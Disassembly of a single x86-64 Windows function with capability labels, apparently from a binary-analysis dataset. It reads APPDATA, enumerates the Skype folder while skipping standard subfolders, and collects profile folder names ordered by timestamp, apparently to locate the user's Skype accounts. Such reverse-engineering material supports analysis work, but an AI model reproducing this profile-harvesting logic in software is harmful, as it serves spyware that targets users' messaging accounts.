Function at 0x14001e720
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x16430
call fcn.140061300
sub rsp, rax
mov qword [rsp + 0xd0], 0xfffffffffffffffe
mov qword [rsp + 0x16468], rbx
mov qword [rsp + 0x16470], rbp
mov qword [rsp + 0x16478], rsi
mov rax, qword [0x140087990]
xor rax, rsp
mov qword [rsp + 0x16420], rax
mov r13, rcx
mov qword [rsp + 0xc8], rcx
xor r14d, r14d
mov dword [rsp + 0x58], r14d
lea rcx, str.APPDATA
call fcn.140048250
mov rdx, rax
mov qword [rsp + 0x90], send
mov qword [rsp + 0x88], r14
mov byte [rsp + 0x78], r14b
xor eax, eax
or r15, 0xffffffffffffffff
mov rcx, r15
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x70]
call fcn.14003afb0
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xa0]
call fcn.140003080
nop
lea r8, str.Skype
mov rdx, rax
lea rcx, [rsp + 0x1180]
call fcn.14003dc60
nop
cmp qword [rsp + 0xc0], 8
jb 0x14001e80b
mov rcx, qword [rsp + 0xa8]
call fcn.140044814
mov qword [rsp + 0xc0], 7
mov qword [rsp + 0xb8], r14
mov word [rsp + 0xa8], r14w
cmp qword [rsp + 0x90], 0x10
jb 0x14001e83d
mov rcx, qword [rsp + 0x78]
call fcn.140044814
mov qword [rsp + 0x90], send
mov qword [rsp + 0x88], r14
mov byte [rsp + 0x78], 0
lea rdi, [rsp + 0x1188]
cmp qword [rsp + 0x11a0], 8
cmovae rdi, qword [rsp + 0x1188]
mov r12d, r14d
lea rbx, [fcn.140039010]
mov qword [rsp + 0x20], rbx
lea r9, [0x140038fa0]
mov edx, 0x28
mov r8d, 0x400
lea rcx, [rsp + 0xb400]
call fcn.140046484
nop
mov qword [rsp + 0x20], rbx
lea r9, [0x140038fa0]
mov edx, 0x28
mov r8d, 0x400
lea rcx, [rsp + 0x1400]
call fcn.140046484
nop
xor r8d, r8d
lea rdx, [0x140073800]
lea rcx, [rsp + 0x1400]
call fcn.14003b810
mov qword [rsp + 0x1100], 7
mov qword [rsp + 0x10f8], r14
mov word [rsp + 0x10e8], r14w
xor r8d, r8d
lea rdx, [0x140073800]
lea rcx, [rsp + 0x10e0]
call fcn.14003b810
nop
test rdi, rdi
je 0x14001e930
mov ecx, 0x800
mov rax, rdi
nop dword [rax]
cmp word [rax], 0
je 0x14001e930
add rax, 2
sub rcx, 1
jne 0x14001e920
mov edx, 0x800
lea rcx, [rsp + 0x15420]
lea rax, [rsp + 0x15420]
sub rdi, rax
nop dword [rax + rax]
lea rax, [rdx + 0x7ffff7fe]
test rax, rax
je 0x14001e974
movzx eax, word [rcx + rdi]
test ax, ax
je 0x14001e974
mov word [rcx], ax
add rcx, 2
sub rdx, 1
jne 0x14001e950
jmp 0x14001e979
test rdx, rdx
jne 0x14001e97d
sub rcx, 2
mov word [rcx], r14w
lea r8, [0x140074854]
mov edx, 0x800
lea rcx, [rsp + 0x15420]
call fcn.1400028e0
lea rdx, [rsp + 0x11b0]
lea rcx, [rsp + 0x15420]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x14001ea75
mov qword [r13 + 0x20], 7
mov qword [r13 + 0x18], r14
mov word [r13 + 8], r14w
xor r8d, r8d
lea rdx, [0x140073800]
mov rcx, r13
call fcn.14003b810
mov dword [rsp + 0x58], 1
cmp qword [rsp + 0x1100], 8
jb 0x14001ea00
mov rcx, qword [rsp + 0x10e8]
call fcn.140044814
mov qword [rsp + 0x1100], 7
mov qword [rsp + 0x10f8], r14
mov word [rsp + 0x10e8], r14w
mov r9, rbx
mov edx, 0x28
mov r8d, 0x400
lea rcx, [rsp + 0x1400]
call fcn.1400457c8
nop
mov r9, rbx
mov edx, 0x28
mov r8d, 0x400
lea rcx, [rsp + 0xb400]
call fcn.1400457c8
nop
cmp qword [rsp + 0x11a0], 8
jb 0x14001ea6d
mov rcx, qword [rsp + 0x1188]
call fcn.140044814
mov rax, r13
jmp 0x14001f89d
mov rsi, r14
movabs rbx, 0xd6bf94d5e57a42bd
test byte [rsp + 0x11b0], 0x10
je 0x14001f5f0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
lea rcx, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 8
cmovae rcx, r10
mov edi, 1
mov r8, qword [rsp + 0x48]
cmp r8, rdi
cmovb rdi, r8
lea rdx, [0x14007485c]
test rdi, rdi
je 0x14001eb28
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x14001eb1a
add rcx, 2
add rdx, 2
sub rdi, 1
jne 0x14001eb02
jmp 0x14001eb28
mov edi, 1
cmp word [rcx], ax
cmovb edi, r15d
jmp 0x14001eb2b
mov edi, r14d
movsxd rax, edi
test edi, edi
jne 0x14001eb47
cmp r8, 1
jae 0x14001eb3d
mov eax, r15d
jmp 0x14001eb47
mov eax, r14d
cmp r8, 1
setne al
test eax, eax
sete dil
cmp r9, 8
jb 0x14001eb5b
mov rcx, r10
call fcn.140044814
test dil, dil
jne 0x14001f5f0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
lea rcx, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 8
cmovae rcx, r10
mov edi, 2
mov r8, qword [rsp + 0x48]
cmp r8, rdi
cmovb rdi, r8
lea rdx, [0x140074860]
test rdi, rdi
je 0x14001ebfc
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x14001ebee
add rcx, 2
add rdx, 2
sub rdi, 1
jne 0x14001ebd6
jmp 0x14001ebfc
mov edi, 1
cmp word [rcx], ax
cmovb edi, r15d
jmp 0x14001ebff
mov edi, r14d
movsxd rax, edi
test edi, edi
jne 0x14001ec1b
cmp r8, 2
jae 0x14001ec11
mov eax, r15d
jmp 0x14001ec1b
mov eax, r14d
cmp r8, 2
setne al
test eax, eax
sete dil
cmp r9, 8
jb 0x14001ec2f
mov rcx, r10
call fcn.140044814
test dil, dil
jne 0x14001f5f0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
lea rcx, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 8
cmovae rcx, r10
mov edi, 6
mov r8, qword [rsp + 0x48]
cmp r8, rdi
cmovb rdi, r8
lea rdx, str.DataRv
test rdi, rdi
je 0x14001ecd6
nop word [rax + rax]
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x14001ecc8
add rcx, 2
add rdx, 2
sub rdi, 1
jne 0x14001ecb0
jmp 0x14001ecd6
mov edi, 1
cmp word [rcx], ax
cmovb edi, r15d
jmp 0x14001ecd9
mov edi, r14d
movsxd rax, edi
test edi, edi
jne 0x14001ecf5
cmp r8, 6
jae 0x14001eceb
mov eax, r15d
jmp 0x14001ecf5
mov eax, r14d
cmp r8, 6
setne al
test eax, eax
sete dil
cmp r9, 8
jb 0x14001ed09
mov rcx, r10
call fcn.140044814
test dil, dil
jne 0x14001f5f0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
lea rcx, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 8
cmovae rcx, r10
mov edi, 7
mov r8, qword [rsp + 0x48]
cmp r8, rdi
cmovb rdi, r8
lea rdx, str.Content
test rdi, rdi
je 0x14001edaa
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x14001ed9c
add rcx, 2
add rdx, 2
sub rdi, 1
jne 0x14001ed84
jmp 0x14001edaa
mov edi, 1
cmp word [rcx], ax
cmovb edi, r15d
jmp 0x14001edad
mov edi, r14d
movsxd rax, edi
test edi, edi
jne 0x14001edc9
cmp r8, 7
jae 0x14001edbf
mov eax, r15d
jmp 0x14001edc9
mov eax, r14d
cmp r8, 7
setne al
test eax, eax
sete dil
cmp r9, 8
jb 0x14001eddd
mov rcx, r10
call fcn.140044814
test dil, dil
jne 0x14001f5f0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
lea rcx, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 8
cmovae rcx, r10
mov edi, 6
mov r8, qword [rsp + 0x48]
cmp r8, rdi
cmovb rdi, r8
lea rdx, str.DbTemp
test rdi, rdi
je 0x14001ee7e
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x14001ee70
add rcx, 2
add rdx, 2
sub rdi, 1
jne 0x14001ee58
jmp 0x14001ee7e
mov edi, 1
cmp word [rcx], ax
cmovb edi, r15d
jmp 0x14001ee81
mov edi, r14d
movsxd rax, edi
test edi, edi
jne 0x14001ee9d
cmp r8, 6
jae 0x14001ee93
mov eax, r15d
jmp 0x14001ee9d
mov eax, r14d
cmp r8, 6
setne al
test eax, eax
sete dil
cmp r9, 8
jb 0x14001eeb1
mov rcx, r10
call fcn.140044814
test dil, dil
jne 0x14001f5f0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
lea rcx, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 8
cmovae rcx, r10
mov edi, reloc.WS2_32.dll_socket
mov r8, qword [rsp + 0x48]
cmp r8, rdi
cmovb rdi, r8
lea rdx, str.My_Skype_Received_Files
test rdi, rdi
je 0x14001ef56
nop dword [rax]
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x14001ef48
add rcx, 2
add rdx, 2
sub rdi, 1
jne 0x14001ef30
jmp 0x14001ef56
mov edi, 1
cmp word [rcx], ax
cmovb edi, r15d
jmp 0x14001ef59
mov edi, r14d
movsxd rax, edi
test edi, edi
jne 0x14001ef75
cmp r8, 0x17
jae 0x14001ef6b
mov eax, r15d
jmp 0x14001ef75
mov eax, r14d
cmp r8, 0x17
setne al
test eax, eax
sete dil
cmp r9, 8
jb 0x14001ef89
mov rcx, r10
call fcn.140044814
test dil, dil
jne 0x14001f5f0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
lea rcx, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 8
cmovae rcx, r10
mov edi, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov r8, qword [rsp + 0x48]
cmp r8, rdi
cmovb rdi, r8
lea rdx, str.shared_dynco
test rdi, rdi
je 0x14001f02a
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x14001f01c
add rcx, 2
add rdx, 2
sub rdi, 1
jne 0x14001f004
jmp 0x14001f02a
mov edi, 1
cmp word [rcx], ax
cmovb edi, r15d
jmp 0x14001f02d
mov edi, r14d
movsxd rax, edi
test edi, edi
jne 0x14001f049
cmp r8, 0xc
jae 0x14001f03f
mov eax, r15d
jmp 0x14001f049
mov eax, r14d
cmp r8, 0xc
setne al
test eax, eax
sete dil
cmp r9, 8
jb 0x14001f05d
mov rcx, r10
call fcn.140044814
test dil, dil
jne 0x14001f5f0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
lea rcx, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 8
cmovae rcx, r10
mov edi, 8
mov r8, qword [rsp + 0x48]
cmp r8, rdi
cmovb rdi, r8
lea rdx, str.Pictures
test rdi, rdi
je 0x14001f0fe
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x14001f0f0
add rcx, 2
add rdx, 2
sub rdi, 1
jne 0x14001f0d8
jmp 0x14001f0fe
mov edi, 1
cmp word [rcx], ax
cmovb edi, r15d
jmp 0x14001f101
mov edi, r14d
movsxd rax, edi
test edi, edi
jne 0x14001f11d
cmp r8, 8
jae 0x14001f113
mov eax, r15d
jmp 0x14001f11d
mov eax, r14d
cmp r8, 8
setne al
test eax, eax
sete dil
cmp r9, 8
jb 0x14001f131
mov rcx, r10
call fcn.140044814
test dil, dil
jne 0x14001f5f0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
lea rcx, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 8
cmovae rcx, r10
mov edi, recvfrom
mov r8, qword [rsp + 0x48]
cmp r8, rdi
cmovb rdi, r8
lea rdx, str.shared_httpfe
test rdi, rdi
je 0x14001f1d6
nop dword [rax]
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x14001f1c8
add rcx, 2
add rdx, 2
sub rdi, 1
jne 0x14001f1b0
jmp 0x14001f1d6
mov edi, 1
cmp word [rcx], ax
cmovb edi, r15d
jmp 0x14001f1d9
mov edi, r14d
movsxd rax, edi
test edi, edi
jne 0x14001f1f5
cmp r8, 0xd
jae 0x14001f1eb
mov eax, r15d
jmp 0x14001f1f5
mov eax, r14d
cmp r8, 0xd
setne al
test eax, eax
sete dil
cmp r9, 8
jb 0x14001f209
mov rcx, r10
call fcn.140044814
test dil, dil
jne 0x14001f5f0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
lea rcx, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 8
cmovae rcx, r10
mov edi, reloc.WS2_32.dll_inet_addr
mov r8, qword [rsp + 0x48]
cmp r8, rdi
cmovb rdi, r8
lea rdx, str.shared_html
test rdi, rdi
je 0x14001f2aa
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x14001f29c
add rcx, 2
add rdx, 2
sub rdi, 1
jne 0x14001f284
jmp 0x14001f2aa
mov edi, 1
cmp word [rcx], ax
cmovb edi, r15d
jmp 0x14001f2ad
mov edi, r14d
movsxd rax, edi
test edi, edi
jne 0x14001f2c9
cmp r8, 0xb
jae 0x14001f2bf
mov eax, r15d
jmp 0x14001f2c9
mov eax, r14d
cmp r8, 0xb
setne al
test eax, eax
sete dil
cmp r9, 8
jb 0x14001f2dd
mov rcx, r10
call fcn.140044814
test dil, dil
jne 0x14001f5f0
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
mov r9, r15
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x10e0]
call fcn.14003b540
nop
cmp qword [rsp + 0x50], 8
jb 0x14001f34f
mov rcx, qword [rsp + 0x38]
call fcn.140044814
mov r8d, 1
lea rdx, [0x140074a40]
lea rcx, [rsp + 0x10e0]
call fcn.14003b690
mov qword [rsp + 0x1178], 7
mov qword [rsp + 0x1170], r14
mov word [rsp + 0x1160], r14w
mov qword [rsp + 0x1128], 0xf
mov qword [rsp + 0x1120], r14
mov byte [rsp + 0x1110], 0
mov eax, dword [rsp + 0x11bc]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x11c0]
mov dword [rsp + 0x64], eax
mov rax, rbx
mul qword [rsp + 0x60]
shr rdx, 0x17
movabs rax, 0x2b6109100
sub rdx, rax
mov qword [rsp + 0x98], rdx
lea rcx, [rsp + 0x98]
call fcn.140045224
mov rbx, rax
lea rcx, [rsp + 0x68]
call fcn.140048450
mov edi, dword [rbx + 0x14]
lea ecx, [rdi + 0x12b]
mov eax, 0x51eb851f
imul ecx
mov r8d, edx
sar r8d, 7
mov ecx, r8d
shr ecx, 0x1f
add r8d, ecx
lea ecx, [rdi - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
sub r8d, edx
lea eax, [rdi - 0x45]
cdq
and edx, 3
add eax, edx
sar eax, 2
add r8d, eax
lea eax, [rdi - 0x46]
imul eax, eax, 0x16d
add r8d, eax
add r8d, dword [rbx + 0x1c]
lea ecx, [r8 + r8*2]
mov eax, dword [rbx + 8]
lea edx, [rax + rcx*8]
imul edx, edx, 0x3c
add edx, dword [rbx + 4]
imul edx, edx, 0x3c
mov eax, dword [rbx]
lea edi, [rdx + rax - 0x3841]
test edi, edi
cmove edi, dword [rsp + 0x68]
mov r9, rbx
lea r8, str._d._m._Y__H:_M:_S
mov edx, 0x20
lea rcx, [rsp + 0x15400]
call fcn.140047874
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.140002a00
nop
mov r9, r15
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1108]
call fcn.140039420
nop
cmp qword [rsp + 0x50], 0x10
jb 0x14001f4be
mov rcx, qword [rsp + 0x38]
call fcn.140044814
lea rdx, [rsp + 0x1108]
lea rcx, [rsp + 0x1158]
call fcn.14000da50
mov r9, r15
xor r8d, r8d
lea rdx, [rsp + 0x1158]
lea rcx, [rsp + 0x10e0]
call fcn.14003b540
mov dword [rsp + rsi*4 + 0xe0], edi
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x11dc]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x11dc]
lea rcx, [rsp + 0x30]
call fcn.14003b810
nop
movsxd rax, r12d
lea rcx, [rax + rax*4]
lea rcx, [rsp + rcx*8 + 0xb400]
mov r9, r15
xor r8d, r8d
lea rdx, [rsp + 0x30]
call fcn.140039eb0
nop
cmp qword [rsp + 0x50], 8
jb 0x14001f565
mov rcx, qword [rsp + 0x38]
call fcn.140044814
mov r8d, 2
lea rdx, [0x1400738d0]
lea rcx, [rsp + 0x10e0]
call fcn.14003b690
inc r12d
inc rsi
cmp r12d, 0x400
jg 0x14001f60a
cmp qword [rsp + 0x1128], 0x10
jb 0x14001f5a6
mov rcx, qword [rsp + 0x1110]
call fcn.140044814
mov qword [rsp + 0x1128], 0xf
mov qword [rsp + 0x1120], r14
mov byte [rsp + 0x1110], 0
cmp qword [rsp + 0x1178], 8
jb 0x14001f5e6
mov rcx, qword [rsp + 0x1160]
call fcn.140044814
movabs rbx, 0xd6bf94d5e57a42bd
jmp 0x14001f5f0
movabs rbx, 0xd6bf94d5e57a42bd
lea rdx, [rsp + 0x11b0]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14001f656
jmp 0x14001ea82
cmp qword [rsp + 0x1128], 0x10
jb 0x14001f622
mov rcx, qword [rsp + 0x1110]
call fcn.140044814
mov qword [rsp + 0x1128], 0xf
mov qword [rsp + 0x1120], r14
mov byte [rsp + 0x1110], 0
cmp qword [rsp + 0x1178], 8
jb 0x14001f656
mov rcx, qword [rsp + 0x1160]
call fcn.140044814
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindClose]
xor r8d, r8d
lea rdx, [0x140073800]
lea rcx, [rsp + 0x10e0]
call fcn.14003b810
test r12d, r12d
je 0x14001f747
movsxd rsi, r12d
lea rbp, [rsp + 0x1400]
nop word [rax + rax]
mov edi, r14d
mov r8d, r14d
mov rbx, r14
mov ecx, r14d
mov rax, r14
test rsi, rsi
je 0x14001f6c1
mov edx, dword [rsp + rax*4 + 0xe0]
cmp edi, edx
jae 0x14001f6b7
mov edi, edx
mov r8d, ecx
mov rbx, rax
inc ecx
inc rax
cmp rax, rsi
jne 0x14001f6a4
movsxd rax, r8d
lea rcx, [rax + rax*4]
lea rdi, [rsp + rcx*8 + 0xb400]
mov r9, r15
xor r8d, r8d
mov rdx, rdi
mov rcx, rbp
call fcn.140039eb0
xor r8d, r8d
lea rdx, [0x140073800]
mov rcx, rdi
call fcn.14003b810
mov dword [rsp + rbx*4 + 0xe0], r14d
lea r8, [0x140074a44]
mov rdx, rbp
lea rcx, [rsp + 0x30]
call fcn.14003dc60
nop
mov r9, r15
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x10e0]
call fcn.14003b540
nop
cmp qword [rsp + 0x50], 8
jb 0x14001f739
mov rcx, qword [rsp + 0x38]
call fcn.140044814
add rbp, 0x28
sub r12, 1
jne 0x14001f690
mov qword [rsp + 0x1150], 7
mov qword [rsp + 0x1148], r14
mov word [rsp + 0x1138], r14w
xor r8d, r8d
lea rdx, [0x140073800]
lea rcx, [rsp + 0x1130]
call fcn.14003b810
nop
mov eax, r14d
cmp qword [rsp + 0x1418], rax
setne al
test eax, eax
je 0x14001f7a9
mov r9, r15
xor r8d, r8d
lea rdx, [rsp + 0x1400]
lea rcx, [rsp + 0x1130]
call fcn.140039eb0
mov qword [r13 + 0x20], 7
mov qword [r13 + 0x18], r14
mov word [r13 + 8], r14w
mov r9, r15
xor r8d, r8d
lea rdx, [rsp + 0x1130]
mov rcx, r13
call fcn.140039eb0
mov dword [rsp + 0x58], 1
cmp qword [rsp + 0x1150], 8
jb 0x14001f7f0
mov rcx, qword [rsp + 0x1138]
call fcn.140044814
mov qword [rsp + 0x1150], 7
mov qword [rsp + 0x1148], r14
mov word [rsp + 0x1138], r14w
cmp qword [rsp + 0x1100], 8
jb 0x14001f825
mov rcx, qword [rsp + 0x10e8]
call fcn.140044814
mov qword [rsp + 0x1100], 7
mov qword [rsp + 0x10f8], r14
mov word [rsp + 0x10e8], r14w
lea r9, [fcn.140039010]
mov edx, 0x28
mov r8d, 0x400
lea rcx, [rsp + 0x1400]
call fcn.1400457c8
nop
lea r9, [fcn.140039010]
mov edx, 0x28
mov r8d, 0x400
lea rcx, [rsp + 0xb400]
call fcn.1400457c8
nop
cmp qword [rsp + 0x11a0], 8
jb 0x14001f89a
mov rcx, qword [rsp + 0x1188]
call fcn.140044814
mov rax, r13
mov rcx, qword [rsp + 0x16420]
xor rcx, rsp
call fcn.140044830
lea r11, [rsp + 0x16430]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret